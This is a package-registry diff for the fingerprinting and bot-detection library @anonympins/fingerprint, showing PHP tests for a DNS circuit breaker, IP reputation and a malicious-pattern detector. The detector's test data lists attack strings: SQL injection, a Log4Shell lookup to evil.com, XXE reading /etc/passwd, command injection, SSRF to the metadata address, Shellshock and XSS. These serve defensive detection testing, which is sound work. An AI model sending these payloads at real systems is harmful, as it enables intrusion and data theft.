@anonympins/fingerprint 0.7.0 → 0.7.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +29 -0
- package/README.md +1 -1
- package/composer.json +8 -1
- package/package.json +1 -1
- package/public/fingerprint-wordpress.zip +0 -0
- package/src/js/build-client.js +8 -10
- package/src/js/fingerprint.builder.js +37 -38
- package/src/js/fingerprint.client.js +1531 -1463
- package/src/js/fingerprint.client.obfuscated.js +1 -0
- package/src/js/fingerprint.js +190 -16
- package/src/js/fingerprint.utils.js +213 -213
- package/src/js/library.js +340 -376
- package/src/js/mongodb-store.js +1 -1
- package/src/js/optimization.worker.js +27 -27
- package/src/js/pow.solver.inline.js +154 -56
- package/src/js/pow.solver.js +180 -92
- package/src/js/pow.worker.js +48 -48
- package/src/js/redis-store.js +1 -1
- package/src/js/tests/fingerprint.client.init.test.js +146 -143
- package/src/js/tests/fingerprint.test.js +124 -10
- package/src/js/tests/ip-reputation.test.js +1 -0
- package/src/js/upow-model-task.js +14 -15
- package/src/php/AutoTuner.php +34 -34
- package/src/php/Challenge/ChallengeUtils.php +57 -11
- package/src/php/Config/SecurityProfiles.php +20 -0
- package/src/php/DirectFingerprint.php +190 -145
- package/src/php/FingerprintBuilder.php +29 -30
- package/src/php/FingerprintClient.php +147 -148
- package/src/php/FingerprintEngine.php +44 -17
- package/src/php/Ja3AnomalyDetector.php +33 -32
- package/src/php/Optimization/FunctionRegistry.php +7 -7
- package/src/php/Optimization/Optimization.php +24 -24
- package/src/php/Optimization/OptimizationOperators.php +26 -25
- package/src/php/Optimization/ProblemInitializers.php +52 -52
- package/src/php/ProblemManager.php +31 -34
- package/src/php/RequestContext.php +8 -1
- package/src/php/Store/IStore.php +7 -8
- package/src/php/Store/InMemoryStore.php +66 -66
- package/src/php/Store/MongoDbStore.php +5 -5
- package/src/php/Store/RedisStore.php +5 -5
- package/src/php/Store/StoreManager.php +35 -35
- package/src/php/Tests/ChallengeUtilsTest.php +453 -453
- package/src/php/Tests/DnsCircuitBreakerTest.php +105 -105
- package/src/php/Tests/FingerprintEngineTest.php +38 -0
- package/src/php/Tests/IpReputationTest.php +10 -0
- package/src/php/Tests/MaliciousPatternsTest.php +103 -103
- package/src/php/Tests/MetricsTest.php +97 -97
- package/src/php/Tests/ProblemManagerTest.php +376 -376
- package/src/php/Tests/QuicFingerprintTest.php +53 -53
- package/src/php/Tests/RequestUtilsTest.php +471 -471
- package/src/php/Tests/TLSClientHelloParserTest.php +177 -177
- package/src/php/Tests/config/ed25519_key.json +3 -3
- package/src/php/Utils/BlockList.php +99 -99
- package/src/php/Utils/Env.php +49 -49
- package/src/php/Utils/MaliciousPatterns.php +74 -74
- package/src/php/Utils/MetricsManager.php +209 -209
- package/src/php/Utils/RequestUtils.php +129 -7
- package/src/php/Utils/TLSClientHelloParser.php +369 -369
- package/src/php/WordPress/WpDbStore.php +155 -0
- package/src/php/WordPress/fingerprint-wordpress.php +554 -0
- package/src/php/WordPress/languages/fingerprint-wordpress-de_DE.mo +0 -0
- package/src/php/WordPress/languages/fingerprint-wordpress-de_DE.po +262 -0
- package/src/php/WordPress/languages/fingerprint-wordpress-fr_FR.mo +0 -0
- package/src/php/WordPress/languages/fingerprint-wordpress-fr_FR.po +268 -0
- package/src/php/WordPress/package.php +218 -0
- package/src/php/bin/auto-tune.php +118 -118
|
@@ -1,106 +1,106 @@
|
|
|
1
|
-
<?php
|
|
2
|
-
|
|
3
|
-
declare(strict_types=1);
|
|
4
|
-
|
|
5
|
-
namespace Anonympins\Fingerprint\Tests;
|
|
6
|
-
|
|
7
|
-
use Anonympins\Fingerprint\FingerprintEngine;
|
|
8
|
-
use PHPUnit\Framework\TestCase;
|
|
9
|
-
use ReflectionClass;
|
|
10
|
-
|
|
11
|
-
class DnsCircuitBreakerTest extends TestCase
|
|
12
|
-
{
|
|
13
|
-
private ReflectionClass $reflection;
|
|
14
|
-
|
|
15
|
-
protected function setUp(): void
|
|
16
|
-
{
|
|
17
|
-
parent::setUp();
|
|
18
|
-
$this->reflection = new ReflectionClass(FingerprintEngine::class);
|
|
19
|
-
|
|
20
|
-
// Réinitialise l'état statique du disjoncteur avant chaque test
|
|
21
|
-
$this->setCircuitBreakerState([
|
|
22
|
-
'state' => 'CLOSED',
|
|
23
|
-
'failureCount' => 0,
|
|
24
|
-
'lastStateChange' => 0,
|
|
25
|
-
'threshold' => 5,
|
|
26
|
-
'cooldown' => 1, // 1 seconde de cooldown pour accélérer le test
|
|
27
|
-
]);
|
|
28
|
-
}
|
|
29
|
-
|
|
30
|
-
private function getCircuitBreakerState(): array
|
|
31
|
-
{
|
|
32
|
-
$property = $this->reflection->getProperty('dnsCircuitBreaker');
|
|
33
|
-
if (PHP_VERSION_ID < 80100) {
|
|
34
|
-
$property->setAccessible(true);
|
|
35
|
-
}
|
|
36
|
-
return $property->getValue();
|
|
37
|
-
}
|
|
38
|
-
|
|
39
|
-
private function setCircuitBreakerState(array $state): void
|
|
40
|
-
{
|
|
41
|
-
$property = $this->reflection->getProperty('dnsCircuitBreaker');
|
|
42
|
-
if (PHP_VERSION_ID < 80100) {
|
|
43
|
-
$property->setAccessible(true);
|
|
44
|
-
}
|
|
45
|
-
$property->setValue(null, $state);
|
|
46
|
-
}
|
|
47
|
-
|
|
48
|
-
private function invokeMethod(string $methodName, array $args = [])
|
|
49
|
-
{
|
|
50
|
-
$method = $this->reflection->getMethod($methodName);
|
|
51
|
-
if (PHP_VERSION_ID < 80100) { // PHP 8.1.0
|
|
52
|
-
$method->setAccessible(true);
|
|
53
|
-
}
|
|
54
|
-
return $method->invokeArgs(null, $args);
|
|
55
|
-
}
|
|
56
|
-
|
|
57
|
-
public function testInitialStateIsClosed(): void
|
|
58
|
-
{
|
|
59
|
-
$this->assertTrue($this->invokeMethod('canAttemptDns'));
|
|
60
|
-
$state = $this->getCircuitBreakerState();
|
|
61
|
-
$this->assertSame('CLOSED', $state['state']);
|
|
62
|
-
}
|
|
63
|
-
|
|
64
|
-
public function testFailureThresholdTripsBreaker(): void
|
|
65
|
-
{
|
|
66
|
-
for ($i = 0; $i < 4; $i++) {
|
|
67
|
-
$this->invokeMethod('recordDnsFailure');
|
|
68
|
-
$this->assertTrue($this->invokeMethod('canAttemptDns'));
|
|
69
|
-
$state = $this->getCircuitBreakerState();
|
|
70
|
-
$this->assertSame('CLOSED', $state['state']);
|
|
71
|
-
}
|
|
72
|
-
|
|
73
|
-
$this->invokeMethod('recordDnsFailure');
|
|
74
|
-
$this->assertFalse($this->invokeMethod('canAttemptDns'));
|
|
75
|
-
$state = $this->getCircuitBreakerState();
|
|
76
|
-
$this->assertSame('OPEN', $state['state']);
|
|
77
|
-
}
|
|
78
|
-
|
|
79
|
-
public function testCooldownTransitionsToHalfOpen(): void
|
|
80
|
-
{
|
|
81
|
-
for ($i = 0; $i < 5; $i++) {
|
|
82
|
-
$this->invokeMethod('recordDnsFailure');
|
|
83
|
-
}
|
|
84
|
-
$this->assertFalse($this->invokeMethod('canAttemptDns'));
|
|
85
|
-
|
|
86
|
-
usleep(1100000); // 1.1s
|
|
87
|
-
|
|
88
|
-
$this->assertTrue($this->invokeMethod('canAttemptDns'));
|
|
89
|
-
$state = $this->getCircuitBreakerState();
|
|
90
|
-
$this->assertSame('HALF-OPEN', $state['state']);
|
|
91
|
-
}
|
|
92
|
-
|
|
93
|
-
public function testSuccessOnHalfOpenResetsBreaker(): void
|
|
94
|
-
{
|
|
95
|
-
for ($i = 0; $i < 5; $i++) {
|
|
96
|
-
$this->invokeMethod('recordDnsFailure');
|
|
97
|
-
}
|
|
98
|
-
usleep(1100000);
|
|
99
|
-
$this->assertTrue($this->invokeMethod('canAttemptDns'));
|
|
100
|
-
|
|
101
|
-
$this->invokeMethod('recordDnsSuccess');
|
|
102
|
-
$state = $this->getCircuitBreakerState();
|
|
103
|
-
$this->assertSame('CLOSED', $state['state']);
|
|
104
|
-
$this->assertSame(0, $state['failureCount']);
|
|
105
|
-
}
|
|
1
|
+
<?php
|
|
2
|
+
|
|
3
|
+
declare(strict_types=1);
|
|
4
|
+
|
|
5
|
+
namespace Anonympins\Fingerprint\Tests;
|
|
6
|
+
|
|
7
|
+
use Anonympins\Fingerprint\FingerprintEngine;
|
|
8
|
+
use PHPUnit\Framework\TestCase;
|
|
9
|
+
use ReflectionClass;
|
|
10
|
+
|
|
11
|
+
class DnsCircuitBreakerTest extends TestCase
|
|
12
|
+
{
|
|
13
|
+
private ReflectionClass $reflection;
|
|
14
|
+
|
|
15
|
+
protected function setUp(): void
|
|
16
|
+
{
|
|
17
|
+
parent::setUp();
|
|
18
|
+
$this->reflection = new ReflectionClass(FingerprintEngine::class);
|
|
19
|
+
|
|
20
|
+
// Réinitialise l'état statique du disjoncteur avant chaque test
|
|
21
|
+
$this->setCircuitBreakerState([
|
|
22
|
+
'state' => 'CLOSED',
|
|
23
|
+
'failureCount' => 0,
|
|
24
|
+
'lastStateChange' => 0,
|
|
25
|
+
'threshold' => 5,
|
|
26
|
+
'cooldown' => 1, // 1 seconde de cooldown pour accélérer le test
|
|
27
|
+
]);
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
private function getCircuitBreakerState(): array
|
|
31
|
+
{
|
|
32
|
+
$property = $this->reflection->getProperty('dnsCircuitBreaker');
|
|
33
|
+
if (PHP_VERSION_ID < 80100) {
|
|
34
|
+
$property->setAccessible(true);
|
|
35
|
+
}
|
|
36
|
+
return $property->getValue();
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
private function setCircuitBreakerState(array $state): void
|
|
40
|
+
{
|
|
41
|
+
$property = $this->reflection->getProperty('dnsCircuitBreaker');
|
|
42
|
+
if (PHP_VERSION_ID < 80100) {
|
|
43
|
+
$property->setAccessible(true);
|
|
44
|
+
}
|
|
45
|
+
$property->setValue(null, $state);
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
private function invokeMethod(string $methodName, array $args = [])
|
|
49
|
+
{
|
|
50
|
+
$method = $this->reflection->getMethod($methodName);
|
|
51
|
+
if (PHP_VERSION_ID < 80100) { // PHP 8.1.0
|
|
52
|
+
$method->setAccessible(true);
|
|
53
|
+
}
|
|
54
|
+
return $method->invokeArgs(null, $args);
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
public function testInitialStateIsClosed(): void
|
|
58
|
+
{
|
|
59
|
+
$this->assertTrue($this->invokeMethod('canAttemptDns'));
|
|
60
|
+
$state = $this->getCircuitBreakerState();
|
|
61
|
+
$this->assertSame('CLOSED', $state['state']);
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
public function testFailureThresholdTripsBreaker(): void
|
|
65
|
+
{
|
|
66
|
+
for ($i = 0; $i < 4; $i++) {
|
|
67
|
+
$this->invokeMethod('recordDnsFailure');
|
|
68
|
+
$this->assertTrue($this->invokeMethod('canAttemptDns'));
|
|
69
|
+
$state = $this->getCircuitBreakerState();
|
|
70
|
+
$this->assertSame('CLOSED', $state['state']);
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
$this->invokeMethod('recordDnsFailure');
|
|
74
|
+
$this->assertFalse($this->invokeMethod('canAttemptDns'));
|
|
75
|
+
$state = $this->getCircuitBreakerState();
|
|
76
|
+
$this->assertSame('OPEN', $state['state']);
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
public function testCooldownTransitionsToHalfOpen(): void
|
|
80
|
+
{
|
|
81
|
+
for ($i = 0; $i < 5; $i++) {
|
|
82
|
+
$this->invokeMethod('recordDnsFailure');
|
|
83
|
+
}
|
|
84
|
+
$this->assertFalse($this->invokeMethod('canAttemptDns'));
|
|
85
|
+
|
|
86
|
+
usleep(1100000); // 1.1s
|
|
87
|
+
|
|
88
|
+
$this->assertTrue($this->invokeMethod('canAttemptDns'));
|
|
89
|
+
$state = $this->getCircuitBreakerState();
|
|
90
|
+
$this->assertSame('HALF-OPEN', $state['state']);
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
public function testSuccessOnHalfOpenResetsBreaker(): void
|
|
94
|
+
{
|
|
95
|
+
for ($i = 0; $i < 5; $i++) {
|
|
96
|
+
$this->invokeMethod('recordDnsFailure');
|
|
97
|
+
}
|
|
98
|
+
usleep(1100000);
|
|
99
|
+
$this->assertTrue($this->invokeMethod('canAttemptDns'));
|
|
100
|
+
|
|
101
|
+
$this->invokeMethod('recordDnsSuccess');
|
|
102
|
+
$state = $this->getCircuitBreakerState();
|
|
103
|
+
$this->assertSame('CLOSED', $state['state']);
|
|
104
|
+
$this->assertSame(0, $state['failureCount']);
|
|
105
|
+
}
|
|
106
106
|
}
|
|
@@ -660,4 +660,42 @@ class FingerprintEngineTest extends TestCase
|
|
|
660
660
|
$this->assertEquals('blocked', $result['status']);
|
|
661
661
|
$this->assertEquals(1.0, $result['score']);
|
|
662
662
|
}
|
|
663
|
+
|
|
664
|
+
public function testHttpSimulacrumModeValidatesChallenge(): void
|
|
665
|
+
{
|
|
666
|
+
$config = SecurityProfiles::createSecurityProfile('balanced', [
|
|
667
|
+
'verbose' => false,
|
|
668
|
+
'challengeNewDevices' => true,
|
|
669
|
+
]);
|
|
670
|
+
$engine = new FingerprintEngine($config);
|
|
671
|
+
|
|
672
|
+
$context = $this->createRequestContext([
|
|
673
|
+
'isHttps' => false
|
|
674
|
+
]);
|
|
675
|
+
|
|
676
|
+
$challengeDecision = $engine->processRequest($context);
|
|
677
|
+
$this->assertEquals('challenge', $challengeDecision['action']);
|
|
678
|
+
|
|
679
|
+
$store = StoreManager::getStore();
|
|
680
|
+
preg_match('/const nonce = "(.*?)";/', $challengeDecision['body'], $matchesNonce);
|
|
681
|
+
$nonce = $matchesNonce[1];
|
|
682
|
+
|
|
683
|
+
$challengeContext = $store->get("secret:{$nonce}");
|
|
684
|
+
$this->assertTrue($challengeContext['isHttp']);
|
|
685
|
+
|
|
686
|
+
$submitContext = $this->createRequestContext([
|
|
687
|
+
'isHttps' => false,
|
|
688
|
+
'query' => [
|
|
689
|
+
'pow_type' => 'cpu_mem',
|
|
690
|
+
'pow_nonce' => $nonce,
|
|
691
|
+
'pow_solution_cpu' => 'http_simulacre_ack',
|
|
692
|
+
'pow_solution_mem' => '0'
|
|
693
|
+
]
|
|
694
|
+
]);
|
|
695
|
+
|
|
696
|
+
$submitDecision = $engine->processRequest($submitContext);
|
|
697
|
+
$this->assertEquals('redirect', $submitDecision['action']);
|
|
698
|
+
$this->assertArrayHasKey('cookie', $submitDecision);
|
|
699
|
+
$this->assertFalse($submitDecision['cookie']['options']['secure']);
|
|
700
|
+
}
|
|
663
701
|
}
|
|
@@ -160,6 +160,16 @@ class IpReputationTest extends TestCase
|
|
|
160
160
|
|
|
161
161
|
$scoreWithHistory = RequestUtils::getSubnetScore($context, 'device-1');
|
|
162
162
|
$this->assertGreaterThan(0.0, $scoreWithHistory['subnetScore']);
|
|
163
|
+
$this->assertLessThanOrEqual(45.0, $scoreWithHistory['subnetScore']);
|
|
164
|
+
|
|
165
|
+
// Test avec attaquant proche (/30)
|
|
166
|
+
RequestUtils::updateSubnetMetrics($context, "attacker-1", 85.0);
|
|
167
|
+
$scoreWithAttacker = RequestUtils::getSubnetScore($context, 'device-1');
|
|
168
|
+
$this->assertGreaterThanOrEqual(45.0, $scoreWithAttacker['subnetScore']);
|
|
169
|
+
|
|
170
|
+
// Vérification du calcul de préfixe commun
|
|
171
|
+
$this->assertEquals(32, RequestUtils::getIpCommonPrefixLength('192.168.1.50', '192.168.1.50'));
|
|
172
|
+
$this->assertEquals(31, RequestUtils::getIpCommonPrefixLength('192.168.1.50', '192.168.1.51'));
|
|
163
173
|
}
|
|
164
174
|
|
|
165
175
|
public function testTlsSpoofingScoreWithJa4(): void
|
|
@@ -1,104 +1,104 @@
|
|
|
1
|
-
<?php
|
|
2
|
-
|
|
3
|
-
declare(strict_types=1);
|
|
4
|
-
|
|
5
|
-
namespace Anonympins\Fingerprint\Tests;
|
|
6
|
-
|
|
7
|
-
use Anonympins\Fingerprint\Utils\MaliciousPatterns;
|
|
8
|
-
use PHPUnit\Framework\TestCase;
|
|
9
|
-
|
|
10
|
-
class MaliciousPatternsTest extends TestCase
|
|
11
|
-
{
|
|
12
|
-
/**
|
|
13
|
-
* @dataProvider maliciousProvider
|
|
14
|
-
*/
|
|
15
|
-
public function testIsMaliciousDetectsThreats(string $payload, bool $expected): void
|
|
16
|
-
{
|
|
17
|
-
$this->assertSame($expected, MaliciousPatterns::isMalicious($payload));
|
|
18
|
-
}
|
|
19
|
-
|
|
20
|
-
/**
|
|
21
|
-
* @dataProvider openRedirectProvider
|
|
22
|
-
*/
|
|
23
|
-
public function testIsMaliciousDetectsOpenRedirect(string $payload, bool $expected): void
|
|
24
|
-
{
|
|
25
|
-
$this->assertSame($expected, MaliciousPatterns::isMalicious($payload, ['openRedirect']));
|
|
26
|
-
}
|
|
27
|
-
|
|
28
|
-
public function maliciousProvider(): array
|
|
29
|
-
{
|
|
30
|
-
return [
|
|
31
|
-
// SQL Injections
|
|
32
|
-
["' OR '1'='1", true],
|
|
33
|
-
["UNION SELECT username, password FROM users", true],
|
|
34
|
-
["normal text with no SQL", false],
|
|
35
|
-
|
|
36
|
-
// Log4Shell
|
|
37
|
-
['${jndi:ldap://evil.com/a}', true],
|
|
38
|
-
['normal log ${user.name}', false],
|
|
39
|
-
|
|
40
|
-
// SSTI
|
|
41
|
-
['{{ 7*7 }}', true],
|
|
42
|
-
['{% if user.isAdmin %}', true],
|
|
43
|
-
['simple {braces}', false],
|
|
44
|
-
|
|
45
|
-
// XXE
|
|
46
|
-
['<!ENTITY xxe SYSTEM "file:///etc/passwd">', true],
|
|
47
|
-
['<!DOCTYPE html>', false],
|
|
48
|
-
|
|
49
|
-
// Path Traversal
|
|
50
|
-
['../../etc/passwd', true],
|
|
51
|
-
['..\\..\\win.ini', true],
|
|
52
|
-
['normal/path/to/file', false],
|
|
53
|
-
|
|
54
|
-
// RCE
|
|
55
|
-
['`whoami`', true],
|
|
56
|
-
['; ping -c 4 8.8.8.8', true],
|
|
57
|
-
['normal ping command desc', false],
|
|
58
|
-
|
|
59
|
-
// SSRF
|
|
60
|
-
['http://127.0.0.1/admin', true],
|
|
61
|
-
['https://localhost:8443', true],
|
|
62
|
-
['http://169.254.169.254/latest/meta-data', true],
|
|
63
|
-
['https://google.com', false],
|
|
64
|
-
|
|
65
|
-
// CRLF
|
|
66
|
-
["test\r\nHeader: value", true],
|
|
67
|
-
["%0d%0aHeader: value", true],
|
|
68
|
-
["clean string", false],
|
|
69
|
-
|
|
70
|
-
// XSS
|
|
71
|
-
['<script>alert(1)</script>', true],
|
|
72
|
-
['javascript:alert(1)', true],
|
|
73
|
-
['<img src=x onerror=alert(1)>', true],
|
|
74
|
-
['<b>bold text</b>', false],
|
|
75
|
-
|
|
76
|
-
// LFI/RFI
|
|
77
|
-
['etc/passwd', true],
|
|
78
|
-
['win.ini', true],
|
|
79
|
-
['php://filter/resource=index.php', true],
|
|
80
|
-
['normal_file.txt', false],
|
|
81
|
-
|
|
82
|
-
// Shellshock
|
|
83
|
-
['() { :; }; echo "Vulnerable"', true],
|
|
84
|
-
['() { :;};', true],
|
|
85
|
-
['function test() {}', false],
|
|
86
|
-
|
|
87
|
-
// NoSQL Operator Injection
|
|
88
|
-
['$gt', true],
|
|
89
|
-
['$elemMatch', true],
|
|
90
|
-
['$where', true],
|
|
91
|
-
['This is $10', false],
|
|
92
|
-
];
|
|
93
|
-
}
|
|
94
|
-
|
|
95
|
-
public function openRedirectProvider(): array
|
|
96
|
-
{
|
|
97
|
-
return [
|
|
98
|
-
['https://evil.com/redirect', true],
|
|
99
|
-
['//malicious-site.com', true],
|
|
100
|
-
['/local/path', false],
|
|
101
|
-
['http://localhost/dashboard', false],
|
|
102
|
-
];
|
|
103
|
-
}
|
|
1
|
+
<?php
|
|
2
|
+
|
|
3
|
+
declare(strict_types=1);
|
|
4
|
+
|
|
5
|
+
namespace Anonympins\Fingerprint\Tests;
|
|
6
|
+
|
|
7
|
+
use Anonympins\Fingerprint\Utils\MaliciousPatterns;
|
|
8
|
+
use PHPUnit\Framework\TestCase;
|
|
9
|
+
|
|
10
|
+
class MaliciousPatternsTest extends TestCase
|
|
11
|
+
{
|
|
12
|
+
/**
|
|
13
|
+
* @dataProvider maliciousProvider
|
|
14
|
+
*/
|
|
15
|
+
public function testIsMaliciousDetectsThreats(string $payload, bool $expected): void
|
|
16
|
+
{
|
|
17
|
+
$this->assertSame($expected, MaliciousPatterns::isMalicious($payload));
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
/**
|
|
21
|
+
* @dataProvider openRedirectProvider
|
|
22
|
+
*/
|
|
23
|
+
public function testIsMaliciousDetectsOpenRedirect(string $payload, bool $expected): void
|
|
24
|
+
{
|
|
25
|
+
$this->assertSame($expected, MaliciousPatterns::isMalicious($payload, ['openRedirect']));
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
public function maliciousProvider(): array
|
|
29
|
+
{
|
|
30
|
+
return [
|
|
31
|
+
// SQL Injections
|
|
32
|
+
["' OR '1'='1", true],
|
|
33
|
+
["UNION SELECT username, password FROM users", true],
|
|
34
|
+
["normal text with no SQL", false],
|
|
35
|
+
|
|
36
|
+
// Log4Shell
|
|
37
|
+
['${jndi:ldap://evil.com/a}', true],
|
|
38
|
+
['normal log ${user.name}', false],
|
|
39
|
+
|
|
40
|
+
// SSTI
|
|
41
|
+
['{{ 7*7 }}', true],
|
|
42
|
+
['{% if user.isAdmin %}', true],
|
|
43
|
+
['simple {braces}', false],
|
|
44
|
+
|
|
45
|
+
// XXE
|
|
46
|
+
['<!ENTITY xxe SYSTEM "file:///etc/passwd">', true],
|
|
47
|
+
['<!DOCTYPE html>', false],
|
|
48
|
+
|
|
49
|
+
// Path Traversal
|
|
50
|
+
['../../etc/passwd', true],
|
|
51
|
+
['..\\..\\win.ini', true],
|
|
52
|
+
['normal/path/to/file', false],
|
|
53
|
+
|
|
54
|
+
// RCE
|
|
55
|
+
['`whoami`', true],
|
|
56
|
+
['; ping -c 4 8.8.8.8', true],
|
|
57
|
+
['normal ping command desc', false],
|
|
58
|
+
|
|
59
|
+
// SSRF
|
|
60
|
+
['http://127.0.0.1/admin', true],
|
|
61
|
+
['https://localhost:8443', true],
|
|
62
|
+
['http://169.254.169.254/latest/meta-data', true],
|
|
63
|
+
['https://google.com', false],
|
|
64
|
+
|
|
65
|
+
// CRLF
|
|
66
|
+
["test\r\nHeader: value", true],
|
|
67
|
+
["%0d%0aHeader: value", true],
|
|
68
|
+
["clean string", false],
|
|
69
|
+
|
|
70
|
+
// XSS
|
|
71
|
+
['<script>alert(1)</script>', true],
|
|
72
|
+
['javascript:alert(1)', true],
|
|
73
|
+
['<img src=x onerror=alert(1)>', true],
|
|
74
|
+
['<b>bold text</b>', false],
|
|
75
|
+
|
|
76
|
+
// LFI/RFI
|
|
77
|
+
['etc/passwd', true],
|
|
78
|
+
['win.ini', true],
|
|
79
|
+
['php://filter/resource=index.php', true],
|
|
80
|
+
['normal_file.txt', false],
|
|
81
|
+
|
|
82
|
+
// Shellshock
|
|
83
|
+
['() { :; }; echo "Vulnerable"', true],
|
|
84
|
+
['() { :;};', true],
|
|
85
|
+
['function test() {}', false],
|
|
86
|
+
|
|
87
|
+
// NoSQL Operator Injection
|
|
88
|
+
['$gt', true],
|
|
89
|
+
['$elemMatch', true],
|
|
90
|
+
['$where', true],
|
|
91
|
+
['This is $10', false],
|
|
92
|
+
];
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
public function openRedirectProvider(): array
|
|
96
|
+
{
|
|
97
|
+
return [
|
|
98
|
+
['https://evil.com/redirect', true],
|
|
99
|
+
['//malicious-site.com', true],
|
|
100
|
+
['/local/path', false],
|
|
101
|
+
['http://localhost/dashboard', false],
|
|
102
|
+
];
|
|
103
|
+
}
|
|
104
104
|
}
|